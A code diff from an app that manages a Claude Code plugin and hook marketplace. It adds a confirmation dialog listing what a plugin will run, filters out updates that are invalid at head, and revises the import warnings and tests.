<span className="ml-1.5 px-1 rounded-[4px] text-[10px] bg-[var(--accent-muted)] text-[var(--accent)]">
{mp.updates.length}
{applicableUpdates(mp.updates).length}
</span>
)}
</button>
@@ -0,0 +1,56 @@
import Modal from "../ui/Modal";
import Button from "../ui/Button";
import type { CatalogItem } from "../../lib/types";
interface Props {
item: CatalogItem;
/** The commit whose components are listed; the install pins exactly this one. */
commit: string;
onConfirm: () => void;
onCancel: () => void;
}
/**
* Plugins can bring hooks, MCP servers and commands — from their catalog
* entry as well as their folder — so installing one is always confirmed with
* everything that will run listed (PR review #4).
*/
export default function PluginConfirmModal({ item, commit, onConfirm, onCancel }: Props) {
return (
<Modal
title={`Install plugin “${item.name}”?`}
description={`This plugin adds what is listed below to Claude Code inside the container; hooks and servers run there.${
commit ? ` Version ${commit.slice(0, 8)}.` : ""
}`}
widthClassName="w-[44rem]"
onClose={onCancel}
footer={
<>
<Button size="md" variant="ghost" onClick={onCancel}>
Cancel
</Button>
<Button size="md" variant="primary" onClick={onConfirm}>
Install plugin
</Button>
</>
}
>
{item.plugin_components.length === 0 ? (
<p className="text-xs text-[var(--text-secondary)]">
This plugin declares no hooks, MCP servers or commands. It may still add skills or agents.
</p>
) : (
<ul className="space-y-2 max-h-[60vh] overflow-auto">
{item.plugin_components.map((c) => (
<li key={c.label}>
<p className="text-xs font-medium mb-1">{c.label}</p>
<pre className="p-2 text-xs font-mono whitespace-pre-wrap break-all rounded-[var(--radius-control)] bg-[var(--bg-primary)] border border-[var(--border-color)]">
{c.content}
</pre>
</li>
))}
</ul>
)}
</Modal>
);
}
@@ -103,7 +103,7 @@ export default function UpdateDiffModal({
</div>
)}
{diffs && diffs.length === 0 && (
<p className="text-xs text-[var(--text-secondary)]">No file changes (only the catalog entry changed).</p>
<p className="text-xs text-[var(--text-secondary)]">No changes to the item's files or catalog entry.</p>
)}
{diffs && diffs.length > 0 && (
<div className="space-y-3 max-h-[60vh] overflow-auto">
@@ -25,7 +25,19 @@ describe("MarketplaceSettings", () => {
} as unknown as AppSettings,
});
listMarketplaceUpdates.mockResolvedValue([
{ item: { marketplace_id: "m1", kind: "agent", key: "a" }, pinned: "a".repeat(40), head: "b".repeat(40) },
{
item: { marketplace_id: "m1", kind: "agent", key: "a" },
pinned: "a".repeat(40),
head: "b".repeat(40),
invalid_at_head: null,
},
// Not applicable (re-review round 2): not counted as available.
{
item: { marketplace_id: "m1", kind: "hook", key: "h" },
pinned: "a".repeat(40),
head: "b".repeat(40),
invalid_at_head: 'unknown hook event "PreFoo"',
},
]);
});
@@ -1,6 +1,7 @@
import { useEffect, useState } from "react";
import { useAppState } from "../../store/appState";
import { listMarketplaceUpdates } from "../../lib/tauri-commands";
import { applicableUpdates } from "../../lib/marketplace";
import Button from "../ui/Button";
const plural = (n: number, one: string, many: string) => `${n} ${n === 1 ? one : many}`;
@@ -14,7 +15,7 @@ export default function MarketplaceSettings() {
let cancelled = false;
listMarketplaceUpdates()
.then((u) => {
if (!cancelled) setUpdateCount(u.length);
if (!cancelled) setUpdateCount(applicableUpdates(u).length);
})
.catch(() => {
if (!cancelled) setUpdateCount(null);
+4
View File
@@ -1,5 +1,6 @@
import type {
ItemKind,
ItemUpdate,
MarketplaceInstall,
MarketplaceItemRef,
MarketplaceSnapshot,
@@ -27,6 +28,9 @@ export const KIND_LABELS: Record<ItemKind, string> = {
/** A marketplace is refreshed when its tab opens if the last fetch is older than this. */
export const STALE_AFTER_MS = 15 * 60 * 1000;
/** Updates that can actually be applied (not refused as invalid at head). */
export const applicableUpdates = (updates: ItemUpdate[]) => updates.filter((u) => u.invalid_at_head === null);
export const itemRefKey = (r: MarketplaceItemRef) => `${r.marketplace_id}/${r.kind}/${r.key}`;
/** Same shape as the item strings in a `SyncReport`. */
+2 -2
View File
@@ -129,7 +129,7 @@ describe("describeImportWarnings", () => {
it("warns when the import installs hooks for every project", () => {
expect(describeImportWarnings(preview({ global_hook_install_count: 1 }))).toEqual([
"Installs 1 marketplace hook for all projects. Hooks run commands in every project container, and these skip the confirmation an install from the Marketplace tab asks for.",
"Installs 1 marketplace hook for all projects. Hooks run commands in every project container, and these skip the confirmation that lists a hook's commands before a Marketplace tab install.",
]);
expect(describeImportWarnings(preview({ global_hook_install_count: 3 }))[0]).toMatch(
/^Installs 3 marketplace hooks for all projects\./,
@@ -138,7 +138,7 @@ describe("describeImportWarnings", () => {
it("warns when the import installs plugins for every project", () => {
expect(describeImportWarnings(preview({ global_plugin_install_count: 1 }))).toEqual([
"Installs 1 marketplace plugin for all projects. Plugins can bring their own hooks and MCP servers into every project container, and these skip the confirmation an install from the Marketplace tab asks for.",
"Installs 1 marketplace plugin for all projects. Plugins can bring their own hooks, MCP servers and commands into every project container, and these skip the confirmation that lists what a plugin brings before a Marketplace tab install.",
]);
expect(
describeImportWarnings(preview({ global_plugin_install_count: 2, global_hook_install_count: 1 })),
+2 -2
View File
@@ -73,13 +73,13 @@ export function describeImportWarnings(preview: SettingsImportPreview): string[]
if (preview.global_hook_install_count > 0) {
const n = preview.global_hook_install_count;
warnings.push(
`Installs ${n} marketplace hook${n === 1 ? "" : "s"} for all projects. Hooks run commands in every project container, and these skip the confirmation an install from the Marketplace tab asks for.`,
`Installs ${n} marketplace hook${n === 1 ? "" : "s"} for all projects. Hooks run commands in every project container, and these skip the confirmation that lists a hook's commands before a Marketplace tab install.`,
);
}
if (preview.global_plugin_install_count > 0) {
const n = preview.global_plugin_install_count;
warnings.push(
`Installs ${n} marketplace plugin${n === 1 ? "" : "s"} for all projects. Plugins can bring their own hooks and MCP servers into every project container, and these skip the confirmation an install from the Marketplace tab asks for.`,
`Installs ${n} marketplace plugin${n === 1 ? "" : "s"} for all projects. Plugins can bring their own hooks, MCP servers and commands into every project container, and these skip the confirmation that lists what a plugin brings before a Marketplace tab install.`,
);
}
if (preview.image_source === "custom") {
+9
View File
@@ -338,6 +338,13 @@ export interface CatalogItem {
invalid: string | null;
hook_commands: string[];
preview: string;
/** Plugins only: what the plugin brings that runs or adds commands (entry + folder). */
plugin_components: PluginComponent[];
}
export interface PluginComponent {
/** Where it comes from, e.g. "marketplace.json entry: mcpServers". */
label: string;
content: string;
}
export interface MarketplaceSnapshot {
marketplace_id: string;
@@ -350,6 +357,8 @@ export interface ItemUpdate {
item: MarketplaceItemRef;
pinned: string;
head: string;
/** Why the item cannot be installed at `head`, so the update would be refused; null when it applies. */
invalid_at_head: string | null;
}
export type FileChange = "added" | "removed" | "modified";
export interface FileDiff {